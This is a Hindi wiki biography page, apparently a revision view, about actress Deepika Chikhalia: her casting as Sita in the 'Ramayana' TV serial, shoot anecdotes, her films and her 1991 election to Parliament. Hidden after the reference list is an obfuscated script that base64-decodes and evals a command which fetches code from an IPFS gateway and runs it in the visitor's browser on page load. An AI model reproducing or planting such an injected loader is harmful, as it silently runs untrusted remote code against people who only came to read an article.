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'''दीपिका चिखालिया''' ([[अंग्रेज़ी]]: ''Deepika Chikhalia'', जन्म- [[29 अप्रॅल]], [[1965]], [[मुम्बई]], [[महाराष्ट्र]]) भारतीय अभिनेत्री हैं, जिन्होंने [[रामानन्द सागर]] के टीवी सीरियल 'रामायण' में [[सीता]] की भूमिका निभाकर प्रसिद्धि पाई और दर्शकों के दिलों में अपनी एक ख़ास जगह बना ली। उनके साथ सीरियल रामायण में [[राम]] की भूमिका [[अरुण गोविल]] ने तो [[लक्ष्मण]] की भूमिका [[सुनील लहरी]] ने निभाई थी। दीपिका चिखालिया ने विभिन्न पौराणिक कथा आधारित धारावाहिकों में अभिनय किया है। उन्होंने अभिनेता राज किरन के साथ फ़िल्म 'सुन मेरी लैला' ([[1986]]) में अभिनय करके फ़िल्मी दुनिया में पदार्पण किया था। [[गुजरात]] के बिजनेसमैन हेमन्त टोपीवाला से [[विवाह]] के बाद उनका नाम अब '''दीपिका टोपीवाला''' है। वह [[भारतीय जनता पार्टी]] से चुनाव लड़कर जीत हासिल कर चुकी हैं।
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}}'''दीपिका चिखालिया''' ([[अंग्रेज़ी]]: ''Deepika Chikhalia'', जन्म- [[29 अप्रॅल]], [[1965]], [[मुम्बई]], [[महाराष्ट्र]]) भारतीय अभिनेत्री हैं, जिन्होंने [[रामानन्द सागर]] के टीवी सीरियल 'रामायण' में [[सीता]] की भूमिका निभाकर प्रसिद्धि पाई और दर्शकों के दिलों में अपनी एक ख़ास जगह बना ली। उनके साथ सीरियल रामायण में [[राम]] की भूमिका [[अरुण गोविल]] ने तो [[लक्ष्मण]] की भूमिका [[सुनील लहरी]] ने निभाई थी। दीपिका चिखालिया ने विभिन्न पौराणिक कथा आधारित धारावाहिकों में अभिनय किया है। उन्होंने अभिनेता राज किरन के साथ फ़िल्म 'सुन मेरी लैला' ([[1986]]) में अभिनय करके फ़िल्मी दुनिया में पदार्पण किया था। [[गुजरात]] के बिजनेसमैन हेमन्त टोपीवाला से [[विवाह]] के बाद उनका नाम अब '''दीपिका टोपीवाला''' है। वह [[भारतीय जनता पार्टी]] से चुनाव लड़कर जीत हासिल कर चुकी हैं।
 
==रामायण की 'सीता'==
 
==रामायण की 'सीता'==
दीपिका चिखालिया [[रामानन्द सागर]] के कैंप में 'विक्रम बेताल' का हिस्सा रह चुकी थीं और इस शो की शूटिंग सागर जी के बंगले पर ही हुआ करती थी। दीपिका चिखालिया के अनुसार- "एक रोज जब मैं बंगले पर पहुंची तो देखा कि बहुत सारे बच्चे वहां आए हुए हैं। मेरी समझ में नहीं आया कि क्या हो रहा है। मैंने पूछा कि क्या घर की कोई भाभीजी ने नर्सरी शुरू की है? पता चला कि [[रामायण]] की शूटिंग करने जा रहे हैं और लव-कुश की कास्टिंग चल रही है। मैंने पूछा कि क्या [[राम]]-[[सीता]] की कास्टिंग हो गई? तो उन्होंने कहा कि नहीं राम-सीता हमें करना है, पहले हम लव-कुश की कास्टिंग कर रहे हैं। फिर एक दिन मुझे पापा जी का फोन आया कि कुड़ी तू भी आजा चल सीता के लिए टेस्टिंग कर लेते हैं। मैंने कहा कि मैं 'विक्रम बेताल' और 'दादा दादी की कहानियां' में काम कर रही हूं और अभी भी आप टेस्ट करना चाहते हैं? मैं तो राजकुमारी का ही किरदार करती रहती हूं। मैं पूरे वक्त मुकुट वैगरह पहन कर सेट पर घूमती रहती थी।"
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दीपिका चिखालिया [[रामानन्द सागर]] के कैंप में 'विक्रम बेताल' का हिस्सा रह चुकी थीं और इस शो की शूटिंग सागर जी के बंगले पर ही हुआ करती थी। दीपिका चिखालिया के अनुसार- "एक रोज जब मैं बंगले पर पहुंची तो देखा कि बहुत सारे बच्चे वहां आए हुए हैं। मेरी समझ में नहीं आया कि क्या हो रहा है। मैंने पूछा कि क्या घर की कोई भाभीजी ने नर्सरी शुरू की है? पता चला कि [[रामायण]] की शूटिंग करने जा रहे हैं और लव-कुश की कास्टिंग चल रही है।[[चित्र:Arun-Govil-and-Deepika-Chikhalia-1.jpg|thumb|left|250px|[[राम]]-[[सीता]] के रूप में [[अरुण गोविल]] और दीपिका चिखालिया]] मैंने पूछा कि क्या [[राम]]-[[सीता]] की कास्टिंग हो गई? तो उन्होंने कहा कि नहीं राम-सीता हमें करना है, पहले हम लव-कुश की कास्टिंग कर रहे हैं। फिर एक दिन मुझे पापा जी का फोन आया कि कुड़ी तू भी आजा चल सीता के लिए टेस्टिंग कर लेते हैं। मैंने कहा कि मैं 'विक्रम बेताल' और 'दादा दादी की कहानियां' में काम कर रही हूं और अभी भी आप टेस्ट करना चाहते हैं? मैं तो राजकुमारी का ही किरदार करती रहती हूं। मैं पूरे वक्त मुकुट वैगरह पहन कर सेट पर घूमती रहती थी।"<br />
 
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उन्हें कहा गया था कि सीता ऐसी होनी चाहिए कि जब वह परदे पर आए तो बताना नहीं पड़े। दर्शक बताए कि ये सीता है। दीपिका ने कहा कि उनके 4-5 स्क्रीन टेस्ट हुए और आखिरकार वह थक गईं और उन्होंने कहा कि लेना है तो लो वरना कोई बात नहीं; तो आखिरी स्क्रीन टेस्ट में उन्होंने कहा कि ठीक है। ये हमारी सीता होगी।
 
उन्हें कहा गया था कि सीता ऐसी होनी चाहिए कि जब वह परदे पर आए तो बताना नहीं पड़े। दर्शक बताए कि ये सीता है। दीपिका ने कहा कि उनके 4-5 स्क्रीन टेस्ट हुए और आखिरकार वह थक गईं और उन्होंने कहा कि लेना है तो लो वरना कोई बात नहीं; तो आखिरी स्क्रीन टेस्ट में उन्होंने कहा कि ठीक है। ये हमारी सीता होगी।
 
==प्रसंग==
 
==प्रसंग==
*[[25 जनवरी]], [[1987]] को सीरियल 'रामायण' का पहला एपिसोड प्रदर्शित हुआ था। यह उस समय का सबसे महंगा शो हुआ करता था। धारावाहिक की लोकप्रियता और बने [[इतिहास]] पर दीपिका चिखालिया का कहना था कि- "धारावाहिक की लोकप्रियता का अहसास तब हुआ, जब पांच-छह महीने में देश विदेश से फोन आने लगे, इंटरव्यूज होने लगे। उसके बाद हमें एहसास हुआ कि हमने इतिहास रचा है। मुझे याद है कि एक प्रशंसक मेरे लिए रोज [[बेलपत्र]] लेकर आता था, क्योंकि मैं [[शिव|महादेव]] की [[पूजा]] करती थी। वह करीब चार-पांच साल तक दरवाजे के पास रखकर चले जाते थे। एक ने मेरी पेंटिंग बनाई थी। लोग हमें देख श्रद्धा से भर जाते थे।"
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[[चित्र:Deepika-Chikhalia.jpg|thumb|200px|[[सीता]] के रूप में दीपिका चिखालिया]]
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*[[25 जनवरी]], [[1987]] को सीरियल 'रामायण' का पहला एपिसोड प्रदर्शित हुआ था। यह उस समय का सबसे महंगा शो हुआ करता था। धारावाहिक की लोकप्रियता और बने [[इतिहास]] पर दीपिका चिखालिया का कहना था कि- "धारावाहिक की लोकप्रियता का अहसास तब हुआ, जब पांच-छह महीने में देश विदेश से फोन आने लगे, इंटरव्यूज होने लगे। उसके बाद हमें एहसास हुआ कि हमने इतिहास रचा है। मुझे याद है कि एक प्रशंसक मेरे लिए रोज [[बेलपत्र]] लेकर आता था, क्योंकि मैं [[शिव|महादेव]] की [[पूजा]] करती थी। वह करीब चार-पांच साल तक दरवाजे के पास रखकर चले जाते थे। एक ने मेरी पेंटिंग बनाई थी। लोग हमें देख श्रद्धा से भर जाते थे।"<br />
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*दीपिका चिखालिया का कहना था कि- "मुझे कृत्रिम जवाहरात (आर्टिफीशियल ज्वेलरी) से एलर्जी थी। बड़ी ज्वैलरी पहनने पर त्वचा में घाव उभर आते थे। ज्वैलरी निर्माता उसमें पीछे स्पंज लगाकर देते थे, ताकि वह मेरे शरीर से स्पर्श न हो। रामायण धारावाहिक में वनवास का शूट सबसे मुश्किल था। वनवास का दृश्य शुरू होता है नदी को पार करने से। उसके लिए तपती [[धूप]] में रेत पर हमें बिना चप्पल 45 डिग्री [[तापमान]] में खड़े रहना पड़ता था। कहीं कोई छाया नहीं थी। पूरे पैर जल गए थे। उस जमाने में अभिनय करने वालों को सपोर्ट करने के लिए कुछ था ही नहीं। सही मायनों में हमने परिश्रम किया है।"<ref>{{cite web |url= https://www.inextlive.com/ramayana-to-return-to-tv-screens-beginning-saturday-202003280004|title=सीता बनी दीपिका चिखलिया ने साझा की पुरानी यादें|accessmonthday=29 मार्च|accessyear=2020 |last= |first= |authorlink= |format= |publisher=inextlive.com |language=हिंदी}}</ref>
 
*दीपिका चिखालिया का कहना था कि- "मुझे कृत्रिम जवाहरात (आर्टिफीशियल ज्वेलरी) से एलर्जी थी। बड़ी ज्वैलरी पहनने पर त्वचा में घाव उभर आते थे। ज्वैलरी निर्माता उसमें पीछे स्पंज लगाकर देते थे, ताकि वह मेरे शरीर से स्पर्श न हो। रामायण धारावाहिक में वनवास का शूट सबसे मुश्किल था। वनवास का दृश्य शुरू होता है नदी को पार करने से। उसके लिए तपती [[धूप]] में रेत पर हमें बिना चप्पल 45 डिग्री [[तापमान]] में खड़े रहना पड़ता था। कहीं कोई छाया नहीं थी। पूरे पैर जल गए थे। उस जमाने में अभिनय करने वालों को सपोर्ट करने के लिए कुछ था ही नहीं। सही मायनों में हमने परिश्रम किया है।"<ref>{{cite web |url= https://www.inextlive.com/ramayana-to-return-to-tv-screens-beginning-saturday-202003280004|title=सीता बनी दीपिका चिखलिया ने साझा की पुरानी यादें|accessmonthday=29 मार्च|accessyear=2020 |last= |first= |authorlink= |format= |publisher=inextlive.com |language=हिंदी}}</ref>
 
==फ़िल्मों में अभिनय==
 
==फ़िल्मों में अभिनय==

08:22, 29 मार्च 2020 का अवतरण

दीपिका चिखालिया
दीपिका चिखालिया
पूरा नाम दीपिका चिखालिया टोपीवाला
जन्म 29 अप्रॅल, 1965
जन्म भूमि मुम्बई, महाराष्ट्र
पति/पत्नी हेमन्त टोपीवाला
कर्म भूमि भारत
कर्म-क्षेत्र अभिनय
मुख्य फ़िल्में 'सुन मेरी लैला', 'रुपये दस करोड़', 'घर का चिराग', 'खुदाई' आदि।
प्रसिद्धि सीरियल 'रामायण' की सीता के रूप में
नागरिकता भारतीय
संबंधित लेख रामायण, अरुण गोविल, सुनील लहरी, दारा सिंह, रामानन्द सागर
अन्य जानकारी दीपिका चिखालिया ने एक मलयाली फ़िल्म 'इतिले इनियम् वरु' (1986) में मामूट्टी के साथ अभिनय किया। इसके अतिरिक्त उन्होंने कन्नड़, तमिल और बंगाली फ़िल्मों में भी काम किया है।
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दीपिका चिखालिया (अंग्रेज़ी: Deepika Chikhalia, जन्म- 29 अप्रॅल, 1965, मुम्बई, महाराष्ट्र) भारतीय अभिनेत्री हैं, जिन्होंने रामानन्द सागर के टीवी सीरियल 'रामायण' में सीता की भूमिका निभाकर प्रसिद्धि पाई और दर्शकों के दिलों में अपनी एक ख़ास जगह बना ली। उनके साथ सीरियल रामायण में राम की भूमिका अरुण गोविल ने तो लक्ष्मण की भूमिका सुनील लहरी ने निभाई थी। दीपिका चिखालिया ने विभिन्न पौराणिक कथा आधारित धारावाहिकों में अभिनय किया है। उन्होंने अभिनेता राज किरन के साथ फ़िल्म 'सुन मेरी लैला' (1986) में अभिनय करके फ़िल्मी दुनिया में पदार्पण किया था। गुजरात के बिजनेसमैन हेमन्त टोपीवाला से विवाह के बाद उनका नाम अब दीपिका टोपीवाला है। वह भारतीय जनता पार्टी से चुनाव लड़कर जीत हासिल कर चुकी हैं।

रामायण की 'सीता'

दीपिका चिखालिया रामानन्द सागर के कैंप में 'विक्रम बेताल' का हिस्सा रह चुकी थीं और इस शो की शूटिंग सागर जी के बंगले पर ही हुआ करती थी। दीपिका चिखालिया के अनुसार- "एक रोज जब मैं बंगले पर पहुंची तो देखा कि बहुत सारे बच्चे वहां आए हुए हैं। मेरी समझ में नहीं आया कि क्या हो रहा है। मैंने पूछा कि क्या घर की कोई भाभीजी ने नर्सरी शुरू की है? पता चला कि रामायण की शूटिंग करने जा रहे हैं और लव-कुश की कास्टिंग चल रही है।

राम-सीता के रूप में अरुण गोविल और दीपिका चिखालिया

मैंने पूछा कि क्या राम-सीता की कास्टिंग हो गई? तो उन्होंने कहा कि नहीं राम-सीता हमें करना है, पहले हम लव-कुश की कास्टिंग कर रहे हैं। फिर एक दिन मुझे पापा जी का फोन आया कि कुड़ी तू भी आजा चल सीता के लिए टेस्टिंग कर लेते हैं। मैंने कहा कि मैं 'विक्रम बेताल' और 'दादा दादी की कहानियां' में काम कर रही हूं और अभी भी आप टेस्ट करना चाहते हैं? मैं तो राजकुमारी का ही किरदार करती रहती हूं। मैं पूरे वक्त मुकुट वैगरह पहन कर सेट पर घूमती रहती थी।"


उन्हें कहा गया था कि सीता ऐसी होनी चाहिए कि जब वह परदे पर आए तो बताना नहीं पड़े। दर्शक बताए कि ये सीता है। दीपिका ने कहा कि उनके 4-5 स्क्रीन टेस्ट हुए और आखिरकार वह थक गईं और उन्होंने कहा कि लेना है तो लो वरना कोई बात नहीं; तो आखिरी स्क्रीन टेस्ट में उन्होंने कहा कि ठीक है। ये हमारी सीता होगी।

प्रसंग

सीता के रूप में दीपिका चिखालिया
  • 25 जनवरी, 1987 को सीरियल 'रामायण' का पहला एपिसोड प्रदर्शित हुआ था। यह उस समय का सबसे महंगा शो हुआ करता था। धारावाहिक की लोकप्रियता और बने इतिहास पर दीपिका चिखालिया का कहना था कि- "धारावाहिक की लोकप्रियता का अहसास तब हुआ, जब पांच-छह महीने में देश विदेश से फोन आने लगे, इंटरव्यूज होने लगे। उसके बाद हमें एहसास हुआ कि हमने इतिहास रचा है। मुझे याद है कि एक प्रशंसक मेरे लिए रोज बेलपत्र लेकर आता था, क्योंकि मैं महादेव की पूजा करती थी। वह करीब चार-पांच साल तक दरवाजे के पास रखकर चले जाते थे। एक ने मेरी पेंटिंग बनाई थी। लोग हमें देख श्रद्धा से भर जाते थे।"


  • दीपिका चिखालिया का कहना था कि- "मुझे कृत्रिम जवाहरात (आर्टिफीशियल ज्वेलरी) से एलर्जी थी। बड़ी ज्वैलरी पहनने पर त्वचा में घाव उभर आते थे। ज्वैलरी निर्माता उसमें पीछे स्पंज लगाकर देते थे, ताकि वह मेरे शरीर से स्पर्श न हो। रामायण धारावाहिक में वनवास का शूट सबसे मुश्किल था। वनवास का दृश्य शुरू होता है नदी को पार करने से। उसके लिए तपती धूप में रेत पर हमें बिना चप्पल 45 डिग्री तापमान में खड़े रहना पड़ता था। कहीं कोई छाया नहीं थी। पूरे पैर जल गए थे। उस जमाने में अभिनय करने वालों को सपोर्ट करने के लिए कुछ था ही नहीं। सही मायनों में हमने परिश्रम किया है।"[1]

फ़िल्मों में अभिनय

दीपिका चिखालिया ने राज किरन के साथ फ़िल्म 'सुन मेरी लैला' (1986) में अभिनय करके फ़िल्मी दुनिया में पदार्पण किया। उन्होंने 'रुपये दस करोड़' (1991), 'घर का चिराग' (1989) और 'खुदाई' (1994) में संजय के साथ अभिनय किया। उन्होंने एक मलयाली फ़िल्म 'इतिले इनियम् वरु' (1986) में मामूट्टी के साथ अभिनय किया। इसके अतिरिक्त उन्होंने कन्नड़, तमिल और बंगाली फ़िल्मों में भी काम किया।

सांसद

सीरियल 'रामायण' से मिली बेहिसाब लोकप्रियता ने दीपिका चिखालिया को भारत की संसद पहुंचा दिया था। सन 1991 में दीपिका भारतीय जनता पार्टी के टिकट पर वड़ोदरा से चुनाव जीतकर संसद पहुंची थीं।साँचा:अभिनेत्री

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टीका टिप्पणी और संदर्भ

  1. सीता बनी दीपिका चिखलिया ने साझा की पुरानी यादें (हिंदी) inextlive.com। अभिगमन तिथि: 29 मार्च, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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